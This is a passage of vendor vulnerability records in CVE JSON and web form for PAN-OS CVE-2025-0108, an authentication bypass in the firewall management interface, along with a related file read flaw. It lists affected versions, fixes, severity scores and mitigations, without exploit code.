\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.12\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.12-h6 or 10.2.13-h3 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.0 (EoL)\u003c/td\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003eUpgrade to a supported fixed version\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.1\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.1.0 through 11.1.6\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.6-h1 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e11.1.2\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.2-h18 or 11.1.6-h1 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.2\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.2.0 through 11.2.4\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 11.2.4-h4 or later\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eNote: PAN-OS 11.0 reached end of life (EoL) on November 17, 2024. No additional fixes are planned for this release.\u003c/p\u003e"
}
],
"value": "Version\nMinor Version\nSuggested Solution\nPAN-OS 10.1\n10.1.0 through 10.1.14\nUpgrade to 10.1.14-h9 or later\nPAN-OS 10.2\n10.2.0 through 10.2.13\nUpgrade to 10.2.13-h3 or later\n\u00a010.2.7Upgrade to 10.2.7-h24 or 10.2.13-h3 or later\u00a010.2.8Upgrade to 10.2.8-h21 or 10.2.13-h3 or later\u00a010.2.9Upgrade to 10.2.9-h21 or 10.2.13-h3 or later\u00a010.2.10Upgrade to 10.2.10-h14 or 10.2.13-h3 or later\u00a010.2.11Upgrade to 10.2.11-h12 or 10.2.13-h3 or later \u00a010.2.12Upgrade to 10.2.12-h6 or 10.2.13-h3 or later\nPAN-OS 11.0 (EoL)\u00a0Upgrade to a supported fixed versionPAN-OS 11.1\n11.1.0 through 11.1.6\nUpgrade to 11.1.6-h1 or later\n\u00a011.1.2Upgrade to 11.1.2-h18 or 11.1.6-h1 or later\nPAN-OS 11.2\n11.2.0 through 11.2.4\nUpgrade to 11.2.4-h4 or laterNote: PAN-OS 11.0 reached end of life (EoL) on November 17, 2024. No additional fixes are planned for this release."
}
],
"source": {
"defect": [
"PAN-273994"
],
"discovery": "EXTERNAL"
},
"timeline": [
{
"lang": "en",
"time": "2025-02-19T23:15:00.000Z",
"value": "Updated fix availability for PAN-OS 10.2 and 11.1"
},
{
"lang": "en",
"time": "2025-02-18T23:00:00.000Z",
"value": "Updated exploit status and solution table"
},
{
"lang": "en",
"time": "2025-02-18T19:30:00.000Z",
"value": "Updated fix availability for PAN-OS 10.2"
},
{
"lang": "en",
"time": "2025-02-12T23:45:00.000Z",
"value": "Added Threat Prevention Threat ID to Workarounds and Mitigations"
},
{
"lang": "en",
"time": "2025-02-12T17:00:00.000Z",
"value": "Initial Publication"
}
],
"title": "PAN-OS: Authenticated File Read Vulnerability in the Management Web Interface",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
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"value": "\u003cp\u003e\u003c/p\u003e\u003cp\u003e\u003cb\u003eRecommended mitigation\u003c/b\u003e\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practices deployment guidelines\u003c/a\u003e. Specifically, you should restrict management interface access to only trusted internal IP addresses.\u003c/p\u003e\u003cp\u003eReview information about how to secure management access to your Palo Alto Networks firewalls:\u003c/p\u003e\u003cul\u003e\u003cli\u003ePalo Alto Networks LIVEcommunity article:\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ehttps://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\u003c/a\u003e\u003c/li\u003e\u003cli\u003ePalo Alto Networks official and detailed technical documentation:\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003ehttps://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003eAdditionally, customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 510000 and 510001 (introduced in Applications and Threats content version 8943).\u003cbr\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003e\u003c/a\u003e"
}
],
"value": "Recommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 \n * Palo Alto Networks official and detailed technical documentation: https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices \n\n\nAdditionally, customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 510000 and 510001 (introduced in Applications and Threats content version 8943).\n https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices"
}
],
"x_affectedList": [
"PAN-OS 11.2.4-h3",
"PAN-OS 11.2.4-h2",
"PAN-OS 11.2.4-h1",
"PAN-OS 11.2.4",
"PAN-OS 11.2.3-h5",
"PAN-OS 11.2.3-h4",
"PAN-OS 11.2.3-h3",
"PAN-OS 11.2.3-h2",
"PAN-OS 11.2.3-h1",
"PAN-OS 11.2.3",
"PAN-OS 11.2.2-h2",
"PAN-OS 11.2.2-h1",
"PAN-OS 11.2.1-h1",
"PAN-OS 11.2.1",
"PAN-OS 11.2.0-h1",
"PAN-OS 11.2.0",
"PAN-OS 11.1.6",
"PAN-OS 11.1.5-h1",
"PAN-OS 11.1.5",
"PAN-OS 11.1.4-h9",
"PAN-OS 11.1.4-h8",
"PAN-OS 11.1.4-h7",
"PAN-OS 11.1.4-h6",
"PAN-OS 11.1.4-h5",
"PAN-OS 11.1.4-h4",
"PAN-OS 11.1.4-h3",
"PAN-OS 11.1.4-h2",
"PAN-OS 11.1.4-h1",
"PAN-OS 11.1.4",
"PAN-OS 11.1.3-h13",
"PAN-OS 11.1.3-h12",
"PAN-OS 11.1.3-h11",
"PAN-OS 11.1.3-h10",
"PAN-OS 11.1.3-h9",
"PAN-OS 11.1.3-h8",
"PAN-OS 11.1.3-h7",
"PAN-OS 11.1.3-h6",
"PAN-OS 11.1.3-h5",
"PAN-OS 11.1.3-h4",
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"datePublished": "2025-02-12T20:58:43.387Z",
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CVE-2025-0108 (GCVE-0-2025-0108)
Vulnerability from cvelistv5 – Published: 2025-02-12 20:55 – Updated: 2026-02-26 19:08
VLAI?
Title
PAN-OS: Authentication Bypass in the Management Web Interface
Summary
An authentication bypass in the Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to bypass the authentication otherwise required by the PAN-OS management web interface and invoke certain PHP scripts. While invoking these PHP scripts does not enable remote code execution, it can negatively impact integrity and confidentiality of PAN-OS.
You can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue does not affect Cloud NGFW or Prisma Access software.
Severity ?
CWE
- CWE-306 - Missing Authentication for Critical Function
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-02-12 17:00
Credits
Adam Kues - Assetnote Security Research Team
our Deep Product Security Research Team
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],
"defaultStatus": "unaffected",
"product": "PAN-OS",
"vendor": "Palo Alto Networks",
"versions": [
{
"changes": [
{
"at": "10.1.14-h9",
"status": "unaffected"
}
],
"lessThan": "10.1.14-h9",
"status": "affected",
"version": "10.1.0",
"versionType": "custom"
},
{
"changes": [
{
"at": "10.2.7-h24",
"status": "unaffected"
},
{
"at": "10.2.8-h21",
"status": "unaffected"
},
{
"at": "10.2.9-h21",
"status": "unaffected"
},
{
"at": "10.2.12-h6",
"status": "unaffected"
},
{
"at": "10.2.13-h3",
"status": "unaffected"
},
{
"at": "10.2.10-h14",
"status": "unaffected"
},
{
"at": "10.2.11-h12",
"status": "unaffected"
}
],
"lessThan": "10.2.7-h24",
"status": "affected",
"version": "10.2.0",
"versionType": "custom"
},
{
"changes": [
{
"at": "11.1.6-h1",
"status": "unaffected"
},
{
"at": "11.1.2-h18",
"status": "unaffected"
}
],
"lessThan": "11.1.6-h1",
"status": "affected",
"version": "11.1.0",
"versionType": "custom"
},
{
"changes": [
{
"at": "11.2.4-h4",
"status": "unaffected"
}
],
"lessThan": "11.2.4-h4",
"status": "affected",
"version": "11.2.0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"product": "Prisma Access",
"vendor": "Palo Alto Networks",
"versions": [
{
"status": "unaffected",
"version": "All",
"versionType": "custom"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cspan\u003eThe risk is greatest if you enabled access to the management interface from the internet or any untrusted network either:\u003c/span\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cspan\u003eDirectly; or\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003cspan\u003eThrough a dataplane interface that includes a management interface profile.\u003c/span\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cspan\u003eYou greatly reduce the risk if you ensure that you allow only trusted internal IP addresses to access the management interface.\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cspan\u003eUse the following steps to identify your recently detected devices in our internet scans.\u003c/span\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cspan\u003eTo find any assets that require remediation action, visit the Assets section of the Customer Support Portal at\u0026nbsp;\u003c/span\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://support.paloaltonetworks.com/\"\u003e\u003cspan\u003ehttps://support.paloaltonetworks.com\u003c/span\u003e\u003c/a\u003e\u0026nbsp;(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\u003c/li\u003e\u003cli\u003e\u003cspan\u003eReview the list of your devices that we discovered in our scans to have an internet-facing management interface and that we tagged with \u2018PAN-SA-2024-0015\u2019 and a last seen timestamp (in UTC). If you do not see any such devices listed, then our scan did not find any devices on your account to have an internet-facing management interface within the past three days.\u003c/span\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cspan\u003eGlobalProtect portals and gateways are not vulnerable to this issue. However, if you configure a management profile on interfaces with GlobalProtect portals or gateways, then you expose the device to attacks through the management web interface (typically accessible on port 4443).\u003c/span\u003e\u003c/p\u003e"
}
],
"value": "The risk is greatest if you enabled access to the management interface from the internet or any untrusted network either:\n\n * Directly; or\n * Through a dataplane interface that includes a management interface profile.\nYou greatly reduce the risk if you ensure that you allow only trusted internal IP addresses to access the management interface.\n\nUse the following steps to identify your recently detected devices in our internet scans.\n\n * To find any assets that require remediation action, visit the Assets section of the Customer Support Portal at\u00a0 https://support.paloaltonetworks.com https://support.paloaltonetworks.com/ \u00a0(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\n * Review the list of your devices that we discovered in our scans to have an internet-facing management interface and that we tagged with \u2018PAN-SA-2024-0015\u2019 and a last seen timestamp (in UTC). If you do not see any such devices listed, then our scan did not find any devices on your account to have an internet-facing management interface within the past three days.\nGlobalProtect portals and gateways are not vulnerable to this issue. However, if you configure a management profile on interfaces with GlobalProtect portals or gateways, then you expose the device to attacks through the management web interface (typically accessible on port 4443)."
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Adam Kues - Assetnote Security Research Team"
},
{
"lang": "en",
"type": "finder",
"value": "our Deep Product Security Research Team"
}
],
"datePublic": "2025-02-12T17:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "An authentication bypass in the Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to bypass the authentication otherwise required by the PAN-OS management web interface and invoke certain PHP scripts. While invoking these PHP scripts does not enable remote code execution, it can negatively impact integrity and confidentiality of PAN-OS.\u003cb\u003e\u003cbr\u003e\u003cbr\u003e\u003c/b\u003eYou can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practices deployment guidelines\u003c/a\u003e.\u003cb\u003e\u003cbr\u003e\u003cbr\u003e\u003c/b\u003eThis issue does not affect Cloud NGFW or Prisma Access software."
}
],
"value": "An authentication bypass in the Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to bypass the authentication otherwise required by the PAN-OS management web interface and invoke certain PHP scripts. While invoking these PHP scripts does not enable remote code execution, it can negatively impact integrity and confidentiality of PAN-OS.\n\nYou can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\nThis issue does not affect Cloud NGFW or Prisma Access software."
}
],
"exploits": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003ePalo Alto Networks has observed exploit attempts chaining CVE-2025-0108 with CVE-2024-9474 and CVE-2025-0111 on unpatched and unsecured PAN-OS web management interfaces.\u003c/p\u003e"
}
],
"value": "Palo Alto Networks has observed exploit attempts chaining CVE-2025-0108 with CVE-2024-9474 and CVE-2025-0111 on unpatched and unsecured PAN-OS web management interfaces."
}
],
"impacts": [
{
"capecId": "CAPEC-115",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-115 Authentication Bypass"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NO",
"Recovery": "USER",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "RED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "CONCENTRATED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:M/U:Red",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "The risk is highest when you allow access to the management interface from external IP addresses on the internet."
}
]
},
{
"cvssV4_0": {
"Automatable": "NO",
"Recovery": "USER",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "HIGH",
"providerUrgency": "GREEN",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "CONCENTRATED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:M/U:Green",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "You can greatly reduce the risk of exploitation by restricting access to a jump box that is the only system allowed to access the management interface. This will ensure that attacks can succeed only if they obtain privileged access through those specified IP addresses."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing Authentication for Critical Function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-02-19T23:48:08.215Z",
"orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
"shortName": "palo_alto"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://security.paloaltonetworks.com/CVE-2025-0108"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
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"value": "\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eVersion\u003cbr\u003e\u003c/th\u003e\u003cth\u003eMinor Version\u003cbr\u003e\u003c/th\u003e\u003cth\u003eSuggested Solution\u003cbr\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.1\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.1.0 through 10.1.14\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 10.1.14-h9 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.2\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.2.0 through 10.2.13\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.13-h3 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.7\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.7-h24 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.8\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.8-h21 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.9\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.9-h21 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.10\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.10-h14 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.11\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.11-h12 or 10.2.13-h3 or later\u0026nbsp;\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.12\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.12-h6 or 10.2.13-h3 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.0 (EoL)\u003c/td\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003eUpgrade to a supported fixed version\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.1\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.1.0 through 11.1.6\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.6-h1 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e11.1.2\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.2-h18 or 11.1.6-h1 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.2\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.2.0 through 11.2.4\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 11.2.4-h4 or later\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eNote: PAN-OS 11.0 reached end of life (EoL) on November 17, 2024. No additional fixes are planned for this release.\u003c/p\u003e"
}
],
"value": "Version\nMinor Version\nSuggested Solution\nPAN-OS 10.1\n10.1.0 through 10.1.14\nUpgrade to 10.1.14-h9 or later\nPAN-OS 10.2\n10.2.0 through 10.2.13\nUpgrade to 10.2.13-h3 or later\n\u00a010.2.7Upgrade to 10.2.7-h24 or 10.2.13-h3 or later\u00a010.2.8Upgrade to 10.2.8-h21 or 10.2.13-h3 or later\u00a010.2.9Upgrade to 10.2.9-h21 or 10.2.13-h3 or later\u00a010.2.10Upgrade to 10.2.10-h14 or 10.2.13-h3 or later\u00a010.2.11Upgrade to 10.2.11-h12 or 10.2.13-h3 or later\u00a0\u00a010.2.12Upgrade to 10.2.12-h6 or 10.2.13-h3 or later\nPAN-OS 11.0 (EoL)\u00a0Upgrade to a supported fixed versionPAN-OS 11.1\n11.1.0 through 11.1.6\nUpgrade to 11.1.6-h1 or later\n\u00a011.1.2Upgrade to 11.1.2-h18 or 11.1.6-h1 or later\nPAN-OS 11.2\n11.2.0 through 11.2.4\nUpgrade to 11.2.4-h4 or laterNote: PAN-OS 11.0 reached end of life (EoL) on November 17, 2024. No additional fixes are planned for this release."
}
],
"source": {
"defect": [
"PAN-273971"
],
"discovery": "EXTERNAL"
},
"timeline": [
{
"lang": "en",
"time": "2025-02-19T23:15:00.000Z",
"value": "Updated fix availability for PAN-OS 10.2 and 11.1"
},
{
"lang": "en",
"time": "2025-02-18T23:00:00.000Z",
"value": "Updated the exploit status and solutions table"
},
{
"lang": "en",
"time": "2025-02-18T19:30:00.000Z",
"value": "Updated fix availability for PAN-OS 10.2"
},
{
"lang": "en",
"time": "2025-02-18T07:06:00.000Z",
"value": "Updated exploit status"
},
{
"lang": "en",
"time": "2025-02-12T23:45:00.000Z",
"value": "Added Threat Prevention Threat ID to Workarounds and Mitigations"
},
{
"lang": "en",
"time": "2025-02-12T17:00:00.000Z",
"value": "Initial Publication"
}
],
"title": "PAN-OS: Authentication Bypass in the Management Web Interface",
"workarounds": [
{
"lang": "en",
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"value": "\u003cp\u003e\u003cb\u003eRecommended mitigation\u003c/b\u003e\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our\u0026nbsp;\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practices deployment guidelines\u003c/a\u003e. Specifically, you should restrict management interface access to only trusted internal IP addresses.\u003c/p\u003e\u003cp\u003eReview information about how to secure management access to your Palo Alto Networks firewalls:\u003c/p\u003e\u003cul\u003e\u003cli\u003ePalo Alto Networks LIVEcommunity article:\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ehttps://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\u003c/a\u003e\u003c/li\u003e\u003cli\u003ePalo Alto Networks official and detailed technical documentation:\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003ehttps://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003eAdditionally, customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 510000 and 510001 (introduced in Applications and Threats content version 8943)."
}
],
"value": "Recommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our\u00a0 https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 \n * Palo Alto Networks official and detailed technical documentation: https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices \n\n\nAdditionally, customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 510000 and 510001 (introduced in Applications and Threats content version 8943)."
}
],
"x_affectedList": [
"PAN-OS 11.2.4-h3",
"PAN-OS 11.2.4-h2",
"PAN-OS 11.2.4-h1",
"PAN-OS 11.2.4",
"PAN-OS 11.2.3-h5",
"PAN-OS 11.2.3-h4",
"PAN-OS 11.2.3-h3",
"PAN-OS 11.2.3-h2",
"PAN-OS 11.2.3-h1",
"PAN-OS 11.2.3",
"PAN-OS 11.2.2-h2",
"PAN-OS 11.2.2-h1",
"PAN-OS 11.2.1-h1",
"PAN-OS 11.2.1",
"PAN-OS 11.2.0-h1",
"PAN-OS 11.2.0",
"PAN-OS 11.1.6",
"PAN-OS 11.1.5-h1",
"PAN-OS 11.1.5",
"PAN-OS 11.1.4-h9",
"PAN-OS 11.1.4-h8",
"PAN-OS 11.1.4-h7",
"PAN-OS 11.1.4-h6",
"PAN-OS 11.1.4-h5",
"PAN-OS 11.1.4-h4",
"PAN-OS 11.1.4-h3",
"PAN-OS 11.1.4-h2",
"PAN-OS 11.1.4-h1",
"PAN-OS 11.1.4",
"PAN-OS 11.1.3-h13",
"PAN-OS 11.1.3-h12",
"PAN-OS 11.1.3-h11",
"PAN-OS 11.1.3-h10",
"PAN-OS 11.1.3-h9",
"PAN-OS 11.1.3-h8",
"PAN-OS 11.1.3-h7",
"PAN-OS 11.1.3-h6",
"PAN-OS 11.1.3-h5",
"PAN-OS 11.1.3-h4",
"PAN-OS 11.1.3-h3",
"PAN-OS 11.1.3-h2",
"PAN-OS 11.1.3-h1",
"PAN-OS 11.1.3",
"PAN-OS 11.1.2-h17",
"PAN-OS 11.1.2-h16",
"PAN-OS 11.1.2-h15",
"PAN-OS 11.1.2-h14",
"PAN-OS 11.1.2-h13",
"PAN-OS 11.1.2-h12",
"PAN-OS 11.1.2-h11",
"PAN-OS 11.1.2-h10",
"PAN-OS 11.1.2-h9",
"PAN-OS 11.1.2-h8",
"PAN-OS 11.1.2-h7",
"PAN-OS 11.1.2-h6",
"PAN-OS 11.1.2-h5",
"PAN-OS 11.1.2-h4",
"PAN-OS 11.1.2-h3",
"PAN-OS 11.1.2-h2",
"PAN-OS 11.1.2-h1",
"PAN-OS 11.1.2",
"PAN-OS 11.1.1-h2",
"PAN-OS 11.1.1-h1",
"PAN-OS 11.1.1",
"PAN-OS 11.1.0-h4",
"PAN-OS 11.1.0-h3",
"PAN-OS 11.1.0-h2",
"PAN-OS 11.1.0-h1",
"PAN-OS 11.1.0",
"PAN-OS 10.2.13-h2",
"PAN-OS 10.2.13-h1",
"PAN-OS 10.2.13",
"PAN-OS 10.2.12-h5",
"PAN-OS 10.2.12-h4",
"PAN-OS 10.2.12-h3",
"PAN-OS 10.2.12-h2",
"PAN-OS 10.2.12-h1",
"PAN-OS 10.2.12",
"PAN-OS 10.2.11-h11",
"PAN-OS 10.2.11-h10",
"PAN-OS 10.2.11-h9",
"PAN-OS 10.2.11-h8",
"PAN-OS 10.2.11-h7",
"PAN-OS 10.2.11-h6",
"PAN-OS 10.2.11-h5",
"PAN-OS 10.2.11-h4",
"PAN-OS 10.2.11-h3",
"PAN-OS 10.2.11-h2",
"PAN-OS 10.2.11-h1",
"PAN-OS 10.2.11",
"PAN-OS 10.2.10-h13",
"PAN-OS 10.2.10-h12",
"PAN-OS 10.2.10-h11",
"PAN-OS 10.2.10-h10",
"PAN-OS 10.2.10-h9",
"PAN-OS 10.2.10-h8",
"PAN-OS 10.2.10-h7",
"PAN-OS 10.2.10-h6",
"PAN-OS 10.2.10-h5",
"PAN-OS 10.2.10-h4",
"PAN-OS 10.2.10-h3",
"PAN-OS 10.2.10-h2",
"PAN-OS 10.2.10-h1",
"PAN-OS 10.2.10",
"PAN-OS 10.2.9-h20",
"PAN-OS 10.2.9-h19",
"PAN-OS 10.2.9-h18",
"PAN-OS 10.2.9-h17",
"PAN-OS 10.2.9-h16",
"PAN-OS 10.2.9-h15",
"PAN-OS 10.2.9-h14",
"PAN-OS 10.2.9-h13",
"PAN-OS 10.2.9-h12",
"PAN-OS 10.2.9-h11",
"PAN-OS 10.2.9-h10",
"PAN-OS 10.2.9-h9",
"PAN-OS 10.2.9-h8",
"PAN-OS 10.2.9-h7",
